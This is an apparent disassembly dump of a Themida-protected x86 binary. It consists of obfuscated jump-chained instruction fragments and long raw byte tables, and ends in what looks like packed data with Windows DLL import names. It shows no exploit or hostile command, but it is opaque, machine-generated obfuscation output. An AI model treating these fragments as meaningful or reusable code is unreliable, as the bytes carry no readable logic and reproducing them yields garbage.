		dd 66CA00FFh, 0E9240C8Bh, 52Ch,	0E9241489h, 0FFFFB6CDh
		dd 778DEE81h, 0E95A0D8Fh, 0FFFFCBC6h, 81242C89h, 4ECh
		dd 243C8900h, 0C781E789h, 4, 4EF81h, 0EE90000h,	89FFFED7h
		dd 5B682414h, 6800000Ch, 37BEh,	0E9242489h, 0FFFFFAC6h
		dd 394B9EBEh, 0FFC68135h, 0C1FFFFFFh, 0CE905E6h
		db 5Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_523327:				; CODE XREF: Themida_:00522738j
		pop	ebp
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_51083F
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4, 505AD001h, 42474FFh, 0FFD3DFE9h, 2B6850FFh, 0E92A2622h
		dd 0FFFF4DC6h, 0E904E0C1h, 0FFFF1AB7h, 0E5C1DDF7h, 0BAED8103h
		dd 56957C88h, 0FEF4BDE9h, 0C8ED81FFh, 29424852h, 0C3815DEBh
		dd 2EA004B5h, 0FFC45FE9h, 0C091B4FFh, 536604E4h, 0FC206DB7h
		dd 0D4F65B66h, 0E2B25253h, 3BE9CAFEh, 0C1FFFEECh, 0D3F706E3h
		dd 0B5BBEB81h, 0DE014D6Ah, 0EC81515Bh, 4, 0B8240489h, 4
		dd 158C189h, 240C8BCEh,	5604C483h, 42474FFh, 8B2434FFh
		dd 0C4832434h, 4C48304h, 0E924048Fh, 0FFFEAF5Ah, 4E1C15Bh
		dd 0FFA5F5E9h, 81455DFFh, 8E34EFCDh, 79416875h,	34890000h
		dd 2D1CBE24h, 0F5317076h, 289E685Eh, 34890000h,	64956824h
		dd 1C890000h, 6A27BB24h, 0C3815E9Dh, 0C459D0A5h, 0FF1D41E9h
		dd 0E9DDF7FFh, 0FFFF1487h, 0A13AE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_52342A:				; CODE XREF: Themida_:00519428j
		add	ecx, edx
		jmp	loc_50FEFB
; ---------------------------------------------------------------------------


loc_523431:				; CODE XREF: Themida_:0051BD98j
		mov	esi, 5B7B24EFh
		sub	esi, 31140914h
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 551C141Ah
		neg	ebx
		neg	ebx
		push	ebx
		jmp	loc_519A73
; ---------------------------------------------------------------------------
		dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 0FEEF89E9h, 4BBFFh
		dd 0C6810000h, 6FC8680Ah, 30E9DE01h, 56FFFF5Bh,	474022BEh
		dd 22CDE927h, 0BABAFFFFh, 297E9E3Dh, 24148BD3h,	55E68956h
		dd 4BDh, 5DEE0100h, 4B850h, 0C6010000h,	0E924048Bh, 0FFFF92ADh
; ---------------------------------------------------------------------------


loc_5234AC:				; CODE XREF: Themida_:0051E652j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_51C38C
; ---------------------------------------------------------------------------


loc_5234B9:				; CODE XREF: Themida_:0051A002j
		xor	dword ptr [esp], 3A1D5BF4h
		jmp	loc_518AC1
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0DAh
		dd 814A442Ch, 734235EBh, 0C3815F46h, 4,	0FF1035E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5234DD:				; CODE XREF: Themida_:005222A2j
		mov	eax, [esp]
		push	734Bh
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_51E73E
; ---------------------------------------------------------------------------
		db 5Dh
		dd 2A98B850h, 0C52139FDh, 4EDC158h, 0DDF58145h,	8932F58Eh
		dd 0AE3CE9E9h, 0F281FFFEh, 50E4002Bh, 0FFCA94E9h, 33E952FFh
		dd 50FFFF35h, 0FF77FFE9h, 8BDD08FFh, 0C483241Ch, 2FED8004h
		dd 0FF96ECE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_523531:				; CODE XREF: Themida_:0052318Ej
		xchg	edx, [esp]
		pop	esp
		push	eax
		jmp	loc_51A973
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481243Ch, 4, 8904EC83h, 0E6892434h, 4FB95153h, 8108345Ah
		dd 0C60FC4C9h, 0B9D5E916h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_52355E:				; CODE XREF: Themida_:005165B3j
		shl	cl, 1
		xor	cl, 52h
		mov	bl, cl
		pop	ecx
		mov	cl, 15h
		add	cl, bl
		pop	ebx
		xor	al, cl
		push	dword ptr [esp]
		jmp	loc_511B15
; ---------------------------------------------------------------------------
		db 5Ah,	51h, 81h
		dd 4ECh, 24148900h, 8850C5B2h, 58C588D0h, 8124148Bh, 4C4h
		dd 36C38000h, 0E9AAB151h, 0FFFFDF5Eh
; ---------------------------------------------------------------------------


loc_52359C:				; CODE XREF: Themida_:0052393Dj
		xor	ebp, 0D3598A18h
		add	eax, 631212BAh
		add	eax, ebp
		sub	eax, 631212BAh
		pop	ebp
		push	7BC4h
		jmp	loc_512031
; ---------------------------------------------------------------------------
		db 41h,	0C1h, 0E1h
		dd 0F1814105h, 35020ECBh, 3E44E981h, 0F1817DF5h, 6F54DCBh
		dd 468AF181h, 7E976D6h,	89FFFF59h, 5152240Ch, 0EA8852B5h
		dd 0FEFED0E9h, 4EC83FFh, 0E9243489h, 0FFFEC517h
; ---------------------------------------------------------------------------


loc_5235F4:				; CODE XREF: Themida_:005168BDj
		mov	ecx, esp
		push	eax
		mov	eax, 4
		jmp	loc_51407B
; ---------------------------------------------------------------------------
		db 1, 0D0h, 5Ah
		dd 1D2DF829h, 5F3FE02Dh, 593EE951h, 0E95EFFFFh,	0FFFFAABEh
		dd 7B36055Bh, 0CD685F04h, 89000036h, 89502434h,	7B7BE9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_52362E:				; CODE XREF: Themida_:0051AD50j
		sub	al, bh
		pop	ebx
		sub	al, 0A9h
		sub	al, dh
		add	al, 0A9h
		add	al, 4Eh
		pop	edx
		push	edx
		mov	dl, 2Bh
		neg	dl
		xor	dl, 60h
		jmp	loc_513520
; ---------------------------------------------------------------------------
		db 53h
		dd 1BBh, 0D810E900h, 0E389FFFFh, 9BB5E955h, 0F766FFFFh
		dd 14FE68E9h, 14E90000h, 68FFFEF5h, 5E640F2Fh, 0FEB5FAE9h
		dd 0AC781FFh, 8945F3CAh, 0D3F75FFBh, 0A2E95143h
		db 41h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_523683:				; CODE XREF: Themida_:0051A69Aj
		add	edx, 0D432A4Ah
		or	edx, 76674AE0h
		xor	edx, 1A51CDA4h
		or	ebp, edx
		pop	edx
		xor	ebp, 12A47AB8h
		xor	esi, ebp
		pop	ebp
		push	ebx
		jmp	loc_51D513
; ---------------------------------------------------------------------------


loc_5236A7:				; CODE XREF: Themida_:0051065Bj
		add	esi, 4
		add	esi, 4
		jmp	loc_51E6A3
; ---------------------------------------------------------------------------
		dd 0E9241C87h, 0FFFF7B78h, 9D1C77FFh, 14D35966h, 21E99C24h
		db 0ABh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5236CF:				; CODE XREF: Themida_:0051C327j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_51AB38
; ---------------------------------------------------------------------------
		dd 33243C31h, 3C31243Ch, 0C346824h, 3C890000h, 1B756824h
		dd 14890000h, 2434FF24h, 0CED1E95Fh, 0F589FFFFh, 80F5815Eh
		dd 296B2045h, 242C8BEEh, 4C481h, 0DE010000h, 1AC9C681h
		dd 335B7682h, 34312434h, 9372E924h, 0EC81FFFFh,	2, 24148966h
		dd 17FA68h, 241C8900h, 0C7FEA0B7h, 34B3B050h, 0D55EE957h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_523746:				; CODE XREF: Themida_:0051B743j
		xor	eax, [esp]
		pop	esp
		jmp	loc_512DFB
; ---------------------------------------------------------------------------
		db 1
		dd 24148BD1h, 0FED34FE9h, 148B5FFFh, 4C48124h, 0E9000000h
		dd 0FFFFE664h, 81E28952h, 4C2h,	0FE73E900h, 3C89FFFFh
		dd 33D9E924h, 305AFFFFh, 2434FFE8h, 69BE6859h, 2C890000h
		dd 56E58924h, 401128BEh, 0E9D6F77Bh, 0FFFEE8EBh, 0FDC56856h
		dd 0A7E93F06h, 89FFFF68h, 1D43E9C3h, 8158FFFFh,	4C4h, 4C78300h
		dd 5C243C87h, 0FF2434FFh, 76E92434h, 0FFFFFF39h, 34FF2434h
		dd 240C8B24h, 571F68h, 241C8900h, 0C3815B54h, 4, 8704C383h
		dd 0E95C241Ch, 0FFFFA54Fh, 0D2F2814Ah, 0E948FA53h, 0FFFF79C9h
		dd 2C481h, 0D0000000h, 0B151535Ah, 4E45E9F1h, 0BEB9FFFFh
		dd 814F8934h, 7D62C9C9h, 38E98164h, 0E971B76Bh,	0FFFEE841h
		dd 0E904C483h, 0FFFF4219h, 592434FFh, 5604C483h, 130631BEh
		dd 7B122D59h, 0EC83479Bh, 0B268E904h, 0E95CFFFFh, 0FFFEAF77h
		dd 4EC81ACh, 89000000h,	0B4502414h, 28CAB2DAh, 7042E9E2h
		dd 0C581FFFFh, 4, 8B242C87h, 0BE0F2424h, 0BD168C8h, 0C890000h
		dd 0A976E924h, 5D05FFFEh, 50BEA35h, 32F65689h, 7165F505h
		dd 69BF5767h, 56032A7Ah, 671213BEh, 95F68127h, 294D8656h
		dd 0B9E95EF7h, 59FFFFA6h, 9542E956h, 0D159FFFFh, 5C97E9E5h
		dd 1489FFFFh, 0D892E924h, 0E981FFFFh, 301C054Ah, 0FEFCE9E9h
		dd 0D830ACFFh, 0B2525053h, 0C0CAFE90h, 0C28007E2h, 5AD488EFh
		dd 0E7280EB7h, 8124048Bh, 4C4h,	0B4506600h, 0E9E73084h
		dd 0FFFFDFD8h, 8FFCE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5238F6:				; CODE XREF: Themida_:0051E4F9j
		add	esp, 4


loc_5238FC:				; CODE XREF: Themida_:00520BA4j
					; Themida_:00523A37j
		push	dword ptr [esp]
		pop	ebx
		push	3DBFh
		jmp	loc_51062B
; ---------------------------------------------------------------------------
		dw 0CDB9h
		dd 8152CF3Bh, 0F45BD7EEh, 0E9CE0119h, 0FFFFD196h, 68240489h
		dd 3594h, 0E9241489h, 0FFFF8525h
; ---------------------------------------------------------------------------


loc_52392C:				; CODE XREF: Themida_:0051E42Dj
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		dw 0B5E9h
		db 0A8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_52393B:				; CODE XREF: Themida_:0051A0C3j
		not	ebp
		jmp	loc_52359C
; ---------------------------------------------------------------------------
		dw 0EF87h
		dd 0FED28CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_523949:				; CODE XREF: Themida_:00515DD2j
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5195CE
; ---------------------------------------------------------------------------


loc_523959:				; CODE XREF: Themida_:00515AD5j
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		push	56681891h
		mov	esi, [esp]
		jmp	loc_5149C3
; ---------------------------------------------------------------------------


loc_52396D:				; CODE XREF: Themida_:00512F18j
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ebp
		push	eax
		jmp	loc_5165D7
; ---------------------------------------------------------------------------
		dd 592434FFh, 4C481h, 55E90000h, 0F7FFFED1h, 81EA87D5h
		dd 971A90CAh, 0D9C1E900h, 0BE56FFFFh, 0F557F712h, 0FF545FE9h
		dd 242C8BFFh, 0FF9206E9h, 55E089FFh, 4B850h, 0C5890000h
		dd 0FF6B68E9h, 9FF281FFh, 2933FD6Eh, 20E7E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5239CE:				; CODE XREF: Themida_:00510E94j
		pop	ecx
		add	ecx, 4
		jmp	loc_518014
; ---------------------------------------------------------------------------


loc_5239DA:				; CODE XREF: Themida_:0051BDECj
		xor	esi, 7D1481D0h
		sub	[edi+20h], esi
		jmp	loc_51E88D
; ---------------------------------------------------------------------------


loc_5239E8:				; CODE XREF: Themida_:005213A8j
		push	dword ptr [esp]
		jmp	loc_5225CE
; ---------------------------------------------------------------------------


loc_5239F0:				; CODE XREF: Themida_:005166C6j
		pop	esp
		mov	[esp], ebx
		push	ebp
		jmp	loc_51ABD7
; ---------------------------------------------------------------------------


loc_5239FA:				; CODE XREF: Themida_:00520C88j
		xchg	ecx, [esp]
		jmp	loc_51F5A2
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 386D700Ch, 0FDE9F987h, 89FFFEE6h, 4C781E7h, 81000000h
		dd 4ECh, 243C8900h, 0BD55E789h,	4, 0FFB753E9h, 24048FFFh
		dd 0FFACABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_523A35:				; CODE XREF: Themida_:00519BE3j
		cmp	eax, edx
		jz	loc_5238FC
		push	36A0h
		jmp	loc_5113D6
; ---------------------------------------------------------------------------


loc_523A47:				; CODE XREF: Themida_:0051DF87j
		push	edi
		jmp	loc_51F7A7
; ---------------------------------------------------------------------------
		db 2Dh,	2Ah, 34h
		dd 0ADE96E4Dh
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_523A57:				; CODE XREF: Themida_:0051B0F9j
		add	ebp, edx
		jmp	loc_516130
; ---------------------------------------------------------------------------
		dw 0FA89h
		dd 0E9243C8Bh, 0FFFF512Ch, 7F3FE958h, 0E4BFFFFFh, 1661619h
		dd 0D1A6E9FDh, 7401FFFEh, 13E90824h, 33FFFEBCh,	3C31243Ch
		dd 243C3324h, 0E924248Bh, 0FFFFBBA6h
; ---------------------------------------------------------------------------


loc_523A94:				; CODE XREF: Themida_:0051ABB5j
		mov	[esp], edi
		push	ebx
		jmp	loc_51985F
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0DEh
		dd 5360BA5Ah, 0C15BE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_523AAA:				; CODE XREF: Themida_:005195D7j
		xor	ebp, 4173B436h
		and	eax, ebp
		mov	ebp, [esp]
		sub	esp, 4
		jmp	loc_513CF1
; ---------------------------------------------------------------------------


loc_523AC0:				; CODE XREF: Themida_:00511211j
		shl	eax, 1
		neg	eax
		push	esi
		mov	esi, 7F3255A3h
		add	esi, 9E878048h
		sub	eax, esi
		pop	esi
		sub	ebp, 15BF233Bh
		push	eax
		mov	eax, 7532199Eh
		add	ebp, eax
		pop	eax
		add	ebp, eax
		sub	ebp, 7532199Eh
		jmp	loc_51CB12
; ---------------------------------------------------------------------------
		db 80h
		dd 0B450FFEDh, 58E53017h, 0A4E94504h, 0B4FFFF3Ch, 54F65046h
		dd 80580124h, 0D4F63FF4h, 0C8E95266h, 51FFFEACh, 0EE9E189h
		dd 89FFFFCFh, 0E6892434h, 0F268h, 242C8900h, 0FF1626E9h
		dd 0E9CA29FFh, 0FFFF9A67h, 74FF5759h, 3C8B0424h, 4C48324h
		dd 0FEE82EE9h, 8BD329FFh, 0C4812414h, 4, 0FFA46BE9h, 7AA668FFh
		dd 3C890000h, 29BBBF24h, 0F92172EAh, 0EFE9555Fh, 8BFFFF96h
		dd 0E9512414h, 0FFFF70B7h, 111DABBDh, 59C58133h, 1CCEEE2h
		dd 9B5AE9EEh, 2C89FFFFh, 4D5D5924h, 0E953E987h,	0FFFEBD3Dh
		dd 5AF58059h, 43E9EE88h, 52FFFF03h, 80E95A54h, 80FFFF2Fh
		dd 0F780FFEFh, 5BF8000Bh, 8950552Ch, 0E98FE9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_523BBA:				; CODE XREF: Themida_:00522771j
		pop	ebx
		jmp	loc_51D424
; ---------------------------------------------------------------------------
		dd 0E06913BDh, 0E9DDF709h, 0FFFF67BCh
; ---------------------------------------------------------------------------


loc_523BCC:				; CODE XREF: Themida_:0051A074j
		add	esp, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_51FB2A
; ---------------------------------------------------------------------------


loc_523BEB:				; CODE XREF: Themida_:0051514Ej
		mov	eax, esp
		add	eax, 4
		push	edi
		jmp	loc_51246B
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0FEDD2FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_523C01:				; CODE XREF: Themida_:0051391Bj
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		push	eax
		push	68CB68FDh
		pop	eax
		not	eax
		jmp	loc_51D4D7
; ---------------------------------------------------------------------------
		dd 662404FEh, 2CD0F658h, 0DE956ACh, 66FFFEF6h, 0E924048Bh
		dd 0FFFEC81Dh, 1730E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_523C42:				; CODE XREF: Themida_:005178A6j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_50EAD7
; ---------------------------------------------------------------------------
		dw 5CE9h
		dd 45000000h, 55143DCEh, 33524553h, 6C642E32h, 4441006Ch
		dd 49504156h, 642E3233h, 4E006C6Ch, 4C4C4454h, 6C6C642Eh
		dd 907D700h, 18000100h,	4000200h, 41000A00h, 2,	8 dup(0)
		dd 0E9000000h, 8C3h, 2EA26A68h,	0DB08E906h, 0EA68FFFDh
		dd 0E9062EA2h, 0FFFDDAFEh, 2EA42468h, 0DAF4E906h, 5E68FFFDh
		dd 0E9062EA5h, 0FFFDDAEAh, 2EA5D168h, 0DAE0E906h, 868FFFDh
		dd 0E9062EA7h, 0FFFDDAD6h, 2EA77F68h, 0DACCE906h, 78BFFFFDh
		dd 7C560758h, 15F0A1F2h, 0B28B3C8Dh, 4824D526h,	0CAE371C2h
		dd 7CCD532Fh, 1A6BEDCBh, 0B7088C69h, 4FA0BE06h,	61D514A2h
		dd 0A137EC1Bh, 0A23BCDCBh, 0CAA80398h, 5392A048h, 31C2BAFFh
		dd 0EF4FAF1Fh, 0DCA53271h, 0E55537EEh, 0AEF62B39h, 0A0F8E890h
		dd 0B0F59C15h, 5AA4390Dh, 0EF9C9DDCh, 7BFCD7E8h, 0A62C089Fh
		dd 4EAE9E46h, 1862F7A6h, 0A1FF5B9Ah, 0AF1FD1DCh, 96B4FC31h
		dd 2E4C9445h, 9674CAC9h, 7FDE162Ah, 751h, 7DCEEE35h, 1768F2CCh
		dd 0B2038B66h, 4B9C2801h, 0E738BE9Ah, 0C9A54059h, 6341F243h
		dd 2DF90E1h, 347C2D7Eh,	8A18C516h, 0EC18F74Bh, 43411737h
		dd 9139579Fh, 85034DE2h, 0F15B3946h, 0EB69D937h, 1B146AA9h
		dd 0C63637ECh, 5C9EE06Eh, 595CC35Ah, 0C23D35BDh, 37ECA94Ch
		dd 45C61E8Eh, 0A4410668h, 0E88874DBh, 0A9863788h, 9472A725h
		dd 227A6A12h, 321696Ah,	66362F9Eh, 4AA9E144h, 6D1h, 0FD4E6EB5h
		dd 97E8724Ch, 32830BE6h, 0CB1CA881h, 67B83E1Ah,	4925C0D9h
		dd 0E3C172C3h, 825F1061h, 0B4FCADFEh, 0A984596h, 0EC1877CBh
		dd 0C3C19737h, 0BB39579Fh, 41E7DBB9h, 61B9FFC1h, 8A669BA9h
		dd 146C5C04h, 852D4B93h, 0CB899055h, 0C435B996h, 8E0961E9h
		dd 5E5585A8h, 5F5Fh, 579F2100h,	4B9C2D5Bh, 95700575h, 1575650Dh
		dd 9941C9A4h, 0EF849A9h, 0C2BA2595h, 0B9414331h, 3DC5A0D1h
		dd 0DA33FCFFh, 0C226279Bh, 97F76731h, 5876BE3Fh, 0C913A807h
		dd 0B0EA0C4Bh, 861437EFh, 0EFB4F347h, 43A31337h, 2FB390C5h
		dd 0F12AAFB1h, 0DFEB6368h, 98752687h, 160D6C14h, 1F000006h
		dd 9139579Fh, 0A7EF8183h, 0C34E984Dh, 0A90161E7h, 0B1BDE57Ah
		dd 368CCB8Eh, 5831C2E1h, 0F696AAE8h, 87C644A4h,	37EE166Eh
		dd 9EA01E8Eh, 35125F27h, 0DB1909B1h, 4759781h, 6F69EBCh
		dd 549C4DAEh, 0F186E536h, 48EA29A7h, 5031DC2Bh,	0A87BCF0Eh
		dd 2B9B3D9Eh, 79F767D3h, 92E36744h, 0D88004E1h,	51538FD7h
		dd 711A58F4h, 98EE690Eh, 0BA3D9E45h, 4285EA4Ah,	0BE4A94E5h
		dd 5972786h, 347B0000h,	3812C314h, 0D1AC5DAEh, 6E47F849h
		dd 4E091E2h, 0E9F2D7Eh,	38890FEBh, 0D627A987h, 73C44825h
		dd 0B5C7AC2h, 3D91D05Eh, 5D37EC1Eh, 579F8987h, 48909139h
		dd 2F77AC2Ah, 0D101B911h, 5BC59ED3h, 0AE356627h, 1E76D616h
		dd 0AA07CEC9h, 0C631C21Dh, 0AF391348h, 0AEF7DC57h, 0D9AC5E55h
		dd 6EFFFFFEh, 268A9092h, 0A8B70B4Ah, 67D731C2h,	1078EC29h
		dd 0F9FF5392h, 0AF1F31C2h, 5F8ED657h, 0F59DFD83h, 52D4B2E7h
		dd 0EC36CBFAh, 861E2F6Eh, 4EBE37EEh, 0BF099EFDh, 8AE90241h
		dd 0C13131C2h, 0E2BD0E19h, 99B23D9Ah, 0F601E7FEh, 125451FDh
		dd 9ADA7FD3h, 0B12F9F3Dh, 9ADA1C72h, 76CE3E3Dh,	1814Ch
		dd 5D920E00h, 0E2BBF983h, 2999387Eh, 95482D85h,	79E4C4Eh
		dd 89EA91FEh, 236D0231h, 16966A5h, 656737EEh, 1B5CFA7h
		dd 35A1F9ACh, 0C60547C5h, 37EE2E70h, 0ECA2292h,	0B043B203h
		dd 4892270Dh, 61828BCAh, 0C6C8D7E8h, 744636D6h,	0CA368E83h
		dd 6E03B25Ah, 0B67A624h, 2BD1DCB8h, 0C0083DBBh,	58A051A2h
		dd 6FADC95Ch, 0DF3F15C3h, 96C3377Ah, 1271A92Ah,	45Dh, 89DAFA41h
		dd 2374FED8h, 0BE0F9772h, 57A8340Dh, 0F344CAA6h, 0D5B15465h
		dd 6F4DFE4Fh, 0EEB9CEDh, 4088398Ah, 9624D122h, 0EC1FE357h
		dd 4F4D2337h, 50A49092h, 0E8F66264h, 82CC6190h,	6EF2CF04h
		dd 0F07ED6C6h, 0F1698CB1h, 3EBC2C37h, 17F9B3Ch,	356717C5h
		dd 3649E380h, 87156DCDh, 0A0F17552h, 0E68E12EFh, 1A7F9DE5h
		dd 446678D1h, 0EAA8073Fh, 0CE000003h, 65166787h, 0FFB0018Bh
		dd 9A4B9C24h, 33E435C1h, 0F280D157h, 0DA603CD9h, 78FAD889h
		dd 15997627h, 0ADCB13C4h, 0E221AF5Ch, 37EC1F6Ch, 9FDAD8AEh
		dd 83913957h, 0FBD8754Eh, 7F6F1777h, 225EA627h,	0E08814EDh
		dd 0BA0175F0h, 0B34131C2h, 0C2BA1E74h, 70D04031h, 89676810h
		dd 845E5F07h, 1A6352FAh, 0ED3737Fh, 0BCEF4C0Bh,	0A00B31C2h
		dd 5E564FBBh, 0FFFD1770h, 579F32FFh, 4DE29139h,	19468503h
		dd 0F937EEE3h, 0BD539FABh, 0D2119BF3h, 37EEDE7Ch, 6ECE2E9Eh
		dd 5D92331Dh, 0B08AFB81h, 0EFE9CE26h, 95D43CD1h, 31C2BA21h
		dd 7C06E061h, 0FF3EBC1Ch, 37EEDCF2h, 3234B222h,	849CEB80h
		dd 5EE394ECh, 0C553C907h, 88934FA7h, 0DFF6A8D8h, 0DABEE67Bh
		dd 59403AEBh, 0AC69DD1Ch, 39A99F81h, 0F9FB79D9h, 8DFCAB22h
		dd 0A33189A2h, 0ADBF5B64h, 0D553C399h, 4645C8D3h, 3A923668h
		dd 0F43ED382h, 75DB3776h, 7AFB8381h, 39B7179Fh,	48A02A04h
		dd 343678BAh, 28DA40B2h, 23971202h, 638B597Ch, 0D21A9BF3h
		dd 9B43C5A3h, 49FA4BABh, 677EE301h, 99F8D3ACh, 2B30261h
		dd 50970000h, 542EDF30h, 0EDC879CAh, 8A631465h,	20FCADFEh
		dd 22BB499Ah, 54A52B07h, 0F243C5A3h, 8FE06441h,	277896DEh
		dd 59ADEC7Ah, 7937EC1Dh, 5CF1A5A3h, 86929412h, 99298648h
		dd 4F29ABF3h, 504AAC11h, 702B6AF8h, 9C37F1E6h, 9C79AE2Ch
		dd 3916C718h, 9A42C8A4h, 99ED2CAAh, 0B937EDE5h,	3341E949h
		dd 0F39B23FEh, 0E22AAB03h, 45805FC4h, 38704467h, 23CD9h
		dd 0B9D92000h, 53DDB768h, 0EE765102h, 8713EC9Dh, 23A98536h
		dd 8EAB44D2h, 2ADB2CB2h, 0C879CA4Ch, 651667EBh,	1AEFF1Dh
		dd 1DDE3473h, 2A0037ECh, 1290922Ch, 9D21286h, 0FC91C018h
		dd 26F534B2h, 6637F189h, 0FB4378F6h, 992D8CDDh,	5A8FD14Fh
		dd 6252FA7Ch, 0CE1D7F0Ah, 0D14137EDh, 9AD91B29h, 37EDCE24h
		dd 1D9EF666h, 713BB41h,	1364EAC6h, 9BF81EB4h, 1F51A900h
		dd 4C8B0969h, 37ED0DEEh, 0F7F8A010h, 0D11391AFh, 0ED0D3C92h
		dd 96EE5E37h, 4991D2DEh, 0BA915C4Dh, 0BC3A3140h, 0ED01097Dh
		dd 79D94937h, 0ED356A28h, 0C5BA87F1h, 7FDF4FA3h, 0E8FE7D7h
		dd 9B00A8C6h, 80C2D406h, 0ED22CD41h, 5F9D0D37h,	3A194DFBh
		dd 75CA225Dh, 5775BD92h, 0EF0D5506h, 0E46A4647h, 6A9F713Ch
		dd 7161098Dh, 0CC5C419h, 0A455A6C4h, 359A42C8h,	0F2956E6Ch
		dd 0FD7B01DDh, 0C322EFBh, 0D028E3D2h, 5CE2BE6Fh, 48CCA9DEh
		dd 0CC74FCD7h, 0CBCC84DCh, 0B7EC6AEEh, 45FD55DBh, 6A67223Bh
		dd 0B81AF78Eh, 3C8BF72Dh, 60C091h, 8D014082h, 0B837ED83h
		dd 8BFB57DBh, 0D921D233h, 2E083DBBh, 0B40CFCA4h, 1843F1FCh
		dd 8B66EC19h, 815A5B03h, 155E4DF5h, 0DBF46E72h,	95D4163Ch
		dd 8F601B21h, 1B8A003Fh, 5CCC8F60h, 0B7389000h,	4F00516Fh
		dd 67FAD807h, 6E5E068Ah, 0F806AE0Eh, 2462E6C3h,	431F67F9h
		dd 66E73F3Ah, 5B5C048Ah, 5152FA7Eh, 5443EB09h, 5640C0Bh
		dd 0BC04DDBCh, 549C4D9Eh, 4ADF8E36h, 0B408200h,	0C550A830h
		dd 894C5088h, 0B0341146h, 54C01808h, 9F3493E4h,	0EF98D755h
		dd 2FF33FEBh, 0CE1617BFh, 0B1F032B0h, 0FB3FEB5Dh, 0AA068C68h
		dd 0D081E23Ah, 0B4C26A88h, 8BF97072h, 0E587F917h, 3FFA146Ah
		dd 6EC636FBh, 2B5F2CE3h, 7602DB89h, 5685CDCEh, 5A4AF27Ch
		dd 54452FAh, 0ECD21EB1h, 0CEE761D1h, 0B63816CBh, 5FBE1E0Eh
		dd 165E7316h, 0AEF6A7F8h, 0EE7E890h
		dd 0FCD9DA82h, 83C2D078h, 0ECD21E0Fh, 936EDF4Fh, 2B74630Bh
		dd 0F10A846Ch, 0D3F13916h, 6B89D182h, 364C3h, 0F7760000h
		dd 38589FBDh, 29478F90h, 1FA38081h, 16987677h, 0B916D6Eh
		dd 866263h, 0F27E5758h,	0E66E494Ah, 0D9633D3Eh,	89501531h
		dd 4BA52E0h, 1000000h, 0E8835AD0h, 24048704h, 343B685Ch
		dd 14890000h, 38456824h, 4890000h, 0BD555024h, 78D4033Bh
		dd 64FDF581h, 0F581295Ah, 57A0C626h, 895DE889h,	8B5458C2h
		dd 0C4812404h, 4, 4EC81h, 0C890000h, 89D18924h,	8B590848h
		dd 89502404h, 405E0h, 4050000h,	87000000h, 0FF5C2404h
		dd 815A2434h, 4C4h, 0D254E900h,	31B0FFFDh, 0B8EFFFB5h
		dd 62EA9E0h, 0E0FFC503h, 32AE19EDh, 5F886C8Ch, 31CD28Fh
		dd 25E72FA9h, 5EA31C88h, 64F5A879h, 6AEB3531h, 1810B09Ch
		dd 12E8h, 9ED0FC00h, 0BF5E0385h, 72997FA6h, 47C36ED5h
		dd 81C11ED2h, 2BBFC6F3h, 8B665A06h, 26C281CAh, 0F5000062h
		dd 1862BFh, 12E800h, 56280000h,	5993B6A1h, 0AB5F83D5h
		dd 3C086FD9h, 736F4ADBh, 13E9h,	2FE99500h, 0F48F2143h
		dd 4DAE1E69h, 0E9EAB6Eh, 96D8C9D3h, 6632FF5Bh, 566EF381h
		dd 0DB816658h, 0C081BE61h, 30DA7965h, 0E8817DB7h, 7E97E8A0h
		dd 0E6FFC081h, 2B9495Fh, 89538155h, 0DBB70F02h,	8B03EA83h
		dd 8F0F4ACEh, 4, 59D88B56h, 1EF81h, 850F0000h, 0FFFFFFB9h
		dd 0E9F1BF0Fh, 8Eh, 15BD8360h, 62C21h, 5840Fh, 79E90000h
		dd 6A000000h, 303E8000h, 8850Fh, 6A0000h, 35E946h, 3E800000h
		dd 8850F33h, 6A000000h,	24E94610h, 80000000h, 850F343Eh
		dd 8, 0E946306Ah, 13h, 0F353E80h, 885h,	46406A00h, 2E9h
		dd 80006A00h, 850F203Eh, 12h, 17E80h, 8850Fh, 0C4830000h
		dd 16E908h, 858D0000h, 62C26C5h, 24048950h, 24348950h
		dd 95FF006Ah, 62C1435h,	85C6C361h, 62C21ADh, 4E84Dh, 76A80000h
